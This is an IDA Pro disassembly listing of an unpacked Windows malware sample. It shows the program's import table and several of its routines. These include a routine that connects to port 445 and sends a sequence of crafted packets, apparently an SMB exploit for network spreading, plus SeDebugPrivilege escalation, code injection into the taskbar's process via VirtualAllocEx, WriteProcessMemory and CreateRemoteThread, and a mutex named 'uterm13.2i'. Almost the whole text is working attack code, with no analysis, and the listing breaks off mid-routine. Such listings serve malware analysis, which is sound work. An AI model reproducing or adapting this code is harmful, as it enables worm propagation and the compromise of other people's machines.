; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 5EA387F62ECA252B8CC4D27B3254E007 ; File Name : u:\work\5ea387f62eca252b8cc4d27b3254e007_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31500000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31501000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31501000 dd 77DEA2F9h ; resolved to->ADVAPI32.CryptCreateHashdword_31501004 dd 77DEA122h ; resolved to->ADVAPI32.CryptHashDatadword_31501008 dd 77DEAB80h ; resolved to->ADVAPI32.CryptVerifySignatureAdword_3150100C dd 77DEA254h ; resolved to->ADVAPI32.CryptDestroyHash ; sub_315028AE+FDr dword_31501010 dd 77DEA544h ; resolved to->ADVAPI32.CryptDestroyKeydword_31501014 dd 77DE8546h ; resolved to->ADVAPI32.CryptReleaseContextdword_31501018 dd 77DE7F96h ; resolved to->ADVAPI32.CryptAcquireContextAdword_3150101C dd 77DEA879h ; resolved to->ADVAPI32.CryptImportKeydword_31501020 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_31501024 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_31501028 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_3150102C dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_315023E4+1Dr dword_31501030 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueAdword_31501034 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_315023E4+4Er ... dword_31501038 dd 77E34D78h ; resolved to->ADVAPI32.AbortSystemShutdownA align 10h dword_31501040 dd 7C830D74h, 7C80D262h; resolved to->KERNEL32.lstrcmpA ; sub_31503722:loc_31503968r ... dword_31501048 dd 7C8360DDh ; resolved to->KERNEL32.SetCurrentDirectoryA ; sub_315029C7+14Br dword_3150104C dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_31503608+EDr dword_31501050 dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTime ; sub_31503371+Ar dword_31501054 dd 7C810B1Ch ; resolved to->KERNEL32.SystemTimeToFileTimedword_31501058 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_3150105C dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_31501060 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_31501064 dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiAdword_31501068 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_315029C7+3Fr ... dword_3150106C dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; UPX0:31503448r ... dword_31501070 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_31501074 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_31501078 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_3150107C dd 7C863DE5h ; resolved to->KERNEL32.Process32Firstdword_31501080 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_31501084 dd 7C863F58h ; resolved to->KERNEL32.Process32Nextdword_31501088 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_315026C2+8Fr ... dword_3150108C dd 7C8308ADh ; resolved to->KERNEL32.CreateEventA ; sub_31502BE8+98r dword_31501090 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_31502BE8+C2r dword_31501094 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_315025F6+Fr dword_31501098 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_315028AE:loc_31502980r ... dword_3150109C dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_315025F6+C3r dword_315010A0 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_315011C0+272r ... dword_315010A4 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_31501A62+E2r ... dword_315010A8 dd 7C810111h ; resolved to->KERNEL32.lstrcpynA ; sub_315029C7+69r ... dword_315010AC dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_315010B0 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_315017AF+2Cr dword_315010B4 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_31501D96+ECr dword_315010B8 dd 7C80220Fh ; resolved to->KERNEL32.WriteProcessMemorydword_315010BC dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_31501911+19r ... dword_315010C0 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_31502490+92r dword_315010C4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; UPX0:31501D1Ar dword_315010C8 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_315031EC+13r ... dword_315010CC dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_315010D0 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_31501911+12r ... dword_315010D4 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_315010D8 dd 7C80A017h ; resolved to->KERNEL32.SetEvent ; sub_31502B4C+1Br dword_315010DC dd 7C81320Ch ; resolved to->KERNEL32.OpenEventAdword_315010E0 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_31501BA8+66r ... dword_315010E4 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_31502128+3Fr ... dword_315010E8 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_315010EC dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_315010F0 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_315029C7+83r ... align 8 dword_315010F8 dd 77C1BF18h ; resolved to->MSVCRT.atoidword_315010FC dd 77C4CBE0h ; resolved to->MSVCRT.atandword_31501100 dd 77C4D444h ; resolved to->MSVCRT.sindword_31501104 dd 77C4CD34h ; resolved to->MSVCRT.cos; --------------------------------------------------------------------------- loc_31501108: ; DATA XREF: sub_31503A98r cmp [edi], ah retn 0FA77h ; DATA XREF: UPX0:loc_31503A92r ; --------------------------------------------------------------------------- db 27h, 0C2h, 77h dword_31501110 dd 77C47660h ; resolved to->MSVCRT.strchr ; sub_31503722+B9r dword_31501114 dd 77C46030h ; resolved to->MSVCRT.strcpydword_31501118 dd 77C46040h ; resolved to->MSVCRT.strcat; --------------------------------------------------------------------------- loc_3150111C: ; DATA XREF: UPX0:loc_31503A80r xchg eax, esp pop esp retn ; --------------------------------------------------------------------------- db 77h dword_31501120 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_31502490+79r ... dword_31501124 dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_31501BA8:loc_31501C76r ... dword_31501128 dd 77C371BCh ; resolved to->MSVCRT.srand ; sub_31503371+5Dr dword_3150112C dd 77C46F70h ; resolved to->MSVCRT.memcpydword_31501130 dd 77C478A0h ; resolved to->MSVCRT.strlendword_31501134 dd 77C475F0h ; resolved to->MSVCRT.memset dd 0 dword_3150113C dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_31501A62+8Br ... dword_31501140 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindowdword_31501144 dd 7E42DE87h ; resolved to->USER32.FindWindowAdword_31501148 dd 7E418A80h ; resolved to->USER32.GetWindowThreadProcessId align 10h dword_31501150 dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlAdword_31501154 dd 42C2C8A1h ; resolved to->WININET.InternetOpenAdword_31501158 dd 42C2ABF4h ; resolved to->WININET.InternetReadFiledword_3150115C dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; UPX0:31502307r dd 0 dword_31501164 dd 71AB2DC0h ; resolved to->WS2_32.selectdword_31501168 dd 71AB2BC0h ; resolved to->WS2_32.ntohldword_3150116C dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_31501170 dd 71AB3E00h ; resolved to->WS2_32.bind ; sub_31501F6B+7Ar ... dword_31501174 dd 71AB88D3h ; resolved to->WS2_32.listen ; sub_31501F6B+93r ... dword_31501178 dd 71AC1028h ; resolved to->WS2_32.accept ; sub_31501F6B+B5r ... dword_3150117C dd 71AB50C8h ; resolved to->WS2_32.gethostnamedword_31501180 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastErrordword_31501184 dd 71AB2BF4h ; resolved to->WS2_32.inet_addrdword_31501188 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_315019F3+25r dword_3150118C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_31501BA8+ACr ... dword_31501190 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_31502277+Dr dword_31501194 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_31501BA8+F0r ... dword_31501198 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_31502DEC+46r dword_3150119C dd 71AB428Ah ; resolved to->WS2_32.send ; sub_31501A62+67r ... dword_315011A0 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_315011C0+1D8r ... dword_315011A4 dd 71AC0BDEh ; resolved to->WS2_32.shutdown ; sub_31501A62+128r dword_315011A8 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_31501A62+12Fr ... align 10h dword_315011B0 dd 0FFFFFFFFh, 0 dd offset nullsub_1 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315011C0 proc near ; CODE XREF: sub_315020C4+36p ; sub_31502128+48p ... var_89E4 = byte ptr -89E4h var_897C = byte ptr -897Ch var_690C = byte ptr -690Ch var_689C = byte ptr -689Ch var_5DD8 = byte ptr -5DD8h var_4834 = byte ptr -4834h var_4833 = byte ptr -4833h var_37A0 = byte ptr -37A0h var_2CDC = byte ptr -2CDCh var_2CDB = byte ptr -2CDBh var_2CD8 = byte ptr -2CD8h var_24F4 = byte ptr -24F4h var_24E4 = byte ptr -24E4h var_21C0 = byte ptr -21C0h var_21BC = byte ptr -21BCh var_21B0 = byte ptr -21B0h var_1F28 = byte ptr -1F28h var_1EAC = byte ptr -1EACh var_16DC = byte ptr -16DCh var_1231 = byte ptr -1231h var_F44 = byte ptr -0F44h var_EA4 = byte ptr -0EA4h var_798 = dword ptr -798h var_788 = byte ptr -788h var_774 = byte ptr -774h var_730 = byte ptr -730h var_134 = byte ptr -134h var_133 = byte ptr -133h var_E4 = byte ptr -0E4h var_E1 = byte ptr -0E1h var_B7 = byte ptr -0B7h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_6C = byte ptr -6Ch var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 89E4h call sub_31503A50 mov eax, dword_315059CC push ebx push edi push 1 pop edi xor ebx, ebx mov [ebp+var_14], eax mov eax, dword_315059D0 push ebx push edi push 2 mov [ebp+var_10], eax mov [ebp+var_C], edi call dword_3150118C ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_31501720 push esi mov esi, [ebp+arg_0] push 1Dh push esi call dword_31501190 ; inet_ntoa push eax lea eax, [ebp+var_6C] push eax call dword_315010A8 ; lstrcpynA lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_4C] push offset loc_315059C0 push eax call dword_3150113C ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_133] loc_31501233: ; CODE XREF: sub_315011C0+83j mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_31501233 push 60h lea eax, [ebp+var_E4] push offset dword_315054E0 push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31503A3E ; strlen shl eax, 1 push eax lea eax, [ebp+var_134] push eax lea eax, [ebp+var_B4] push eax call sub_31503A44 ; memcpy add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_31503A3E ; strlen pop ecx lea eax, [ebp+eax*2+var_B5] push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31503A3E ; strlen add al, 1Ah push edi shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_E1] push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31503A3E ; strlen shl al, 1 add al, 9 push edi mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_B7] push eax call sub_31503A44 ; memcpy push 0E29h lea eax, [ebp+var_1F28] push 31h push eax call sub_31503A38 ; memset push 10h lea eax, [ebp+var_24] push ebx push eax call sub_31503A38 ; memset add esp, 44h mov [ebp+var_24], 2 push 1BDh call dword_31501194 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push [ebp+var_4] mov [ebp+var_20], esi call dword_31501198 ; connect cmp eax, 0FFFFFFFFh jz loc_31501716 mov esi, dword_315010A4 mov edi, 0C8h push edi call esi ; Sleep push ebx mov ebx, dword_3150119C push 89h push offset dword_315052C8 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 0A8h push offset dword_31505354 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 0DEh push offset dword_31505400 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B cmp eax, 46h jl loc_3150170B cmp [ebp+var_730], 31h jnz loc_315015B6 and [ebp+arg_0], 0 push 7D0h lea eax, [ebp+var_F44] push 90h push eax call sub_31503A38 ; memset add esp, 0Ch push offset byte_31505000 call dword_315010A0 ; lstrlenA push eax lea eax, [ebp+var_EA4] push offset byte_31505000 push eax call sub_31503A44 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] push eax call dword_315010A0 ; lstrlenA push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_788] push eax call sub_31503A44 ; memcpy mov eax, dword_31505906 add esp, 0Ch mov [ebp+var_798], eax loc_31501457: ; CODE XREF: sub_315011C0+4E1j movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_E4] push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 68h push offset dword_31505544 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 0A0h push offset dword_315055B0 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B cmp [ebp+arg_0], 0 jz loc_315016A6 push 68h lea eax, [ebp+var_89E4] push offset dword_31505768 push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_4834] push 1B5Ah push eax lea eax, [ebp+var_897C] push eax call sub_31503A44 ; memcpy push 70h lea eax, [ebp+var_690C] push offset dword_315057D4 push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_37A0] push 0A5Eh push eax lea eax, [ebp+var_689C] push eax call sub_31503A44 ; memcpy push 84h lea eax, [ebp+var_5DD8] push offset dword_31505848 push eax call sub_31503A44 ; memcpy add esp, 3Ch lea eax, [ebp+var_89E4] push 0 push 10FCh push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 0FDCh lea eax, [ebp+var_690C] jmp loc_315016FE ; --------------------------------------------------------------------------- loc_315015B6: ; CODE XREF: sub_315011C0+22Bj push 0DACh lea eax, [ebp+var_2CD8] push 90h push eax mov [ebp+arg_0], 1 call sub_31503A38 ; memset push 4 lea eax, [ebp+var_24F4] push offset dword_31505940 push eax call sub_31503A44 ; memcpy push offset byte_31505000 call sub_31503A3E ; strlen push eax lea eax, [ebp+var_24E4] push offset byte_31505000 push eax call sub_31503A44 ; memcpy push 4 lea eax, [ebp+var_21C0] push offset loc_315059B8 push eax call sub_31503A44 ; memcpy push 4 lea eax, [ebp+var_21BC] push offset dword_31505940 push eax call sub_31503A44 ; memcpy add esp, 40h push offset byte_31505000 call sub_31503A3E ; strlen push eax lea eax, [ebp+var_21B0] push offset byte_31505000 push eax call sub_31503A44 ; memcpy add esp, 10h xor ecx, ecx lea eax, [ebp+var_4833] loc_31501652: ; CODE XREF: sub_315011C0+4A8j mov dl, [ebp+ecx+var_2CD8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 0DACh jl short loc_31501652 and [ebp+var_2CDC], 0 and [ebp+var_2CDB], 0 push 1C52h lea eax, [ebp+var_89E4] push 31h push eax call sub_31503A38 ; memset push 1C52h lea eax, [ebp+var_690C] push 31h push eax call sub_31503A38 ; memset add esp, 18h jmp loc_31501457 ; --------------------------------------------------------------------------- loc_315016A6: ; CODE XREF: sub_315011C0+339j push 7Ch lea eax, [ebp+var_1F28] push offset dword_31505654 push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_F44] push 7D0h push eax lea eax, [ebp+var_1EAC] push eax call sub_31503A44 ; memcpy push 90h lea eax, [ebp+var_16DC] push offset dword_315056D4 push eax call sub_31503A44 ; memcpy add esp, 24h and [ebp+var_1231], 0 lea eax, [ebp+var_1F28] push 0 push 0CF8h loc_315016FE: ; CODE XREF: sub_315011C0+3F1j push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep and [ebp+var_C], 0 loc_3150170B: ; CODE XREF: sub_315011C0+1ADj ; sub_315011C0+1E1j ... push 2 push [ebp+var_4] call dword_315011A4 ; shutdown loc_31501716: ; CODE XREF: sub_315011C0+166j push [ebp+var_4] call dword_315011A8 ; closesocket pop esi loc_31501720: ; CODE XREF: sub_315011C0+37j mov eax, [ebp+var_C] pop edi pop ebx leave retn sub_315011C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501727 proc near ; CODE XREF: UPX0:loc_31501D5Ap var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push esi push edi push offset aAdvapi32 ; "advapi32" call dword_315010B4 ; LoadLibraryA mov esi, dword_315010B0 mov edi, eax push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_4], eax jz short loc_315017AB push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_8], eax jz short loc_315017AB push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi call esi ; GetProcAddress mov esi, eax test esi, esi jz short loc_315017AB lea eax, [ebp+var_C] push eax push 20h call dword_315010AC ; GetCurrentProcess push eax call [ebp+var_4] lea eax, [ebp+var_18] mov [ebp+var_1C], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 mov [ebp+var_10], 2 call [ebp+var_8] push 0 push 0 lea eax, [ebp+var_1C] push 10h push eax push 0 push [ebp+var_C] call esi ; GetProcAddress loc_315017AB: ; CODE XREF: sub_31501727+28j ; sub_31501727+37j ... pop edi pop esi leave retn sub_31501727 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315017AF proc near ; CODE XREF: UPX0:31501D6Ep var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov ecx, ds:dword_31506190 and [ebp+var_4], 0 push ebx push esi mov eax, [ecx+3Ch] push edi add eax, ecx push offset aKernel32 ; "kernel32" mov ecx, [eax+34h] mov edi, [eax+50h] mov [ebp+var_C], ecx call dword_315010C4 ; GetModuleHandleA mov esi, dword_315010B0 mov ebx, eax push offset aVirtualallocex ; "VirtualAllocEx" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_10], eax jnz short loc_315017F6 loc_315017F2: ; CODE XREF: sub_315017AF+54j push 1 jmp short loc_31501847 ; --------------------------------------------------------------------------- loc_315017F6: ; CODE XREF: sub_315017AF+41j push offset aCreateremoteth ; "CreateRemoteThread" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_14], eax jz short loc_315017F2 push 0 push offset aShell_traywnd ; "Shell_TrayWnd" call dword_31501144 ; FindWindowA test eax, eax jnz short loc_31501824 call dword_31501140 ; GetForegroundWindow test eax, eax jnz short loc_31501824 push 2 jmp short loc_31501847 ; --------------------------------------------------------------------------- loc_31501824: ; CODE XREF: sub_315017AF+65j ; sub_315017AF+6Fj lea ecx, [ebp+var_8] push ecx push eax call dword_31501148 ; GetWindowThreadProcessId push [ebp+var_8] push 0 push 42Ah call dword_315010C0 ; OpenProcess mov ebx, eax test ebx, ebx jnz short loc_3150184A push 3 loc_31501847: ; CODE XREF: sub_315017AF+45j ; sub_315017AF+73j pop eax jmp short loc_315018B5 ; --------------------------------------------------------------------------- loc_3150184A: ; CODE XREF: sub_315017AF+94j push 4 push 3000h push edi push [ebp+var_C] push ebx call [ebp+var_10] mov esi, dword_315010BC test eax, eax jz short loc_315018A8 lea ecx, [ebp+var_10] push ecx push edi push eax push eax push ebx call dword_315010B8 ; WriteProcessMemory push ds:dword_31506164 call esi ; CloseHandle lea eax, [ebp+var_18] xor edi, edi push eax push edi push 1 push [ebp+arg_0] push edi push edi push ebx call [ebp+var_14] cmp eax, edi jz short loc_31501894 push eax call esi ; CloseHandle jmp short loc_315018AF ; --------------------------------------------------------------------------- loc_31501894: ; CODE XREF: sub_315017AF+DEj push offset aUterm13_2i ; "uterm13.2i" call sub_315018E8 pop ecx mov [ebp+var_4], 5 jmp short loc_315018AF ; --------------------------------------------------------------------------- loc_315018A8: ; CODE XREF: sub_315017AF+B2j mov [ebp+var_4], 4 loc_315018AF: ; CODE XREF: sub_315017AF+E3j ; sub_315017AF+F7j push ebx call esi ; CloseHandle mov eax, [ebp+var_4] loc_315018B5: ; CODE XREF: sub_315017AF+99j pop edi pop esi pop ebx leave retn sub_315017AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315018BA proc near ; CODE XREF: sub_31501BA8+Bp ; UPX0:31501D30p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi pusha rdtsc mov [ebp+var_8], eax popa mov [ebp+var_4], esp call dword_315010C8 ; GetTickCount mov ecx, [ebp+var_4] imul ecx, [ebp+var_8] add eax, ecx push eax call dword_31501128 ; srand pop ecx pop edi pop esi pop ebx leave retn sub_315018BA endp ; =============== S U B R O U T I N E ======================================= sub_315018E8 proc near ; CODE XREF: sub_315017AF+EAp ; UPX0:31501D3Ap ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_315010CC ; CreateMutexA retn sub_315018E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315018F7 proc near ; CODE XREF: sub_31501D96+145p ; sub_31501D96+150p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_315010D0 ; CreateThread pop ebp retn sub_315018F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501911 proc near ; CODE XREF: sub_31501BA8+12Cp ; sub_31501D96+12Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_315010D0 ; CreateThread push eax call dword_315010BC ; CloseHandle pop ebp retn sub_31501911 endp ; =============== S U B R O U T I N E ======================================= sub_31501932 proc near ; CODE XREF: sub_31501F6B+26p ; sub_315025F6+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_3150195A loc_31501943: ; CODE XREF: sub_31501932+26j call dword_31501124 ; rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_31501943 loc_3150195A: ; CODE XREF: sub_31501932+Fj and byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_31501932 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501962 proc near ; CODE XREF: sub_315029C7+16Bp ; sub_31503608+105p var_54 = dword ptr -54h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi push 44h xor esi, esi pop edi lea eax, [ebp+var_54] push edi push esi push eax call sub_31503A38 ; memset mov ax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_24], ax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi mov [ebp+var_54], edi push [ebp+arg_0] push esi call dword_315010D4 ; CreateProcessA push [ebp+var_C] mov esi, dword_315010BC mov edi, eax call esi ; CloseHandle push [ebp+var_10] call esi ; CloseHandle mov eax, edi pop edi pop esi leave retn sub_31501962 endp ; =============== S U B R O U T I N E ======================================= sub_315019B8 proc near ; CODE XREF: sub_31502DEC+20p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push edi call dword_31501184 ; inet_addr mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_315019D5 test esi, esi jnz short loc_315019E7 cmp byte ptr [edi], 30h jz short loc_315019EE loc_315019D5: ; CODE XREF: sub_315019B8+12j push edi call dword_31501188 ; gethostbyname test eax, eax jz short loc_315019E7 mov eax, [eax+0Ch] mov eax, [eax] mov esi, [eax] loc_315019E7: ; CODE XREF: sub_315019B8+16j ; sub_315019B8+26j cmp esi, 0FFFFFFFFh jnz short loc_315019EE xor esi, esi loc_315019EE: ; CODE XREF: sub_315019B8+1Bj ; sub_315019B8+32j mov eax, esi pop edi pop esi retn sub_315019B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315019F3 proc near ; CODE XREF: sub_315021B0+3Ep ; sub_31502277+7p var_34 = byte ptr -34h push ebp mov ebp, esp sub esp, 34h lea eax, [ebp+var_34] push 31h push eax call dword_3150117C ; gethostname cmp eax, 0FFFFFFFFh jnz short loc_31501A14 call dword_31501180 ; WSAGetLastError xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_31501A14: ; CODE XREF: sub_315019F3+15j lea eax, [ebp+var_34] push eax call dword_31501188 ; gethostbyname test eax, eax jnz short loc_31501A29 mov eax, 100007Fh leave retn ; --------------------------------------------------------------------------- loc_31501A29: ; CODE XREF: sub_315019F3+2Dj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] leave retn sub_315019F3 endp ; =============== S U B R O U T I N E ======================================= sub_31501A32 proc near ; CODE XREF: sub_315020C4+22p ; sub_31502128+27p ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_3150115C ; InternetGetConnectedState neg eax sbb eax, eax neg eax pop ecx retn sub_31501A32 endp ; =============== S U B R O U T I N E ======================================= sub_31501A48 proc near ; CODE XREF: sub_31501D96+40p ; sub_31501D96+4Cp ... arg_0 = dword ptr 4 push [esp+arg_0] push 0 push 2 call dword_315010DC ; OpenEventA test eax, eax jz short locret_31501A61 push eax call dword_315010D8 ; SetEvent locret_31501A61: ; CODE XREF: sub_31501A48+10j retn sub_31501A48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501A62 proc near ; DATA XREF: sub_31501BA8+127o var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+var_100] push 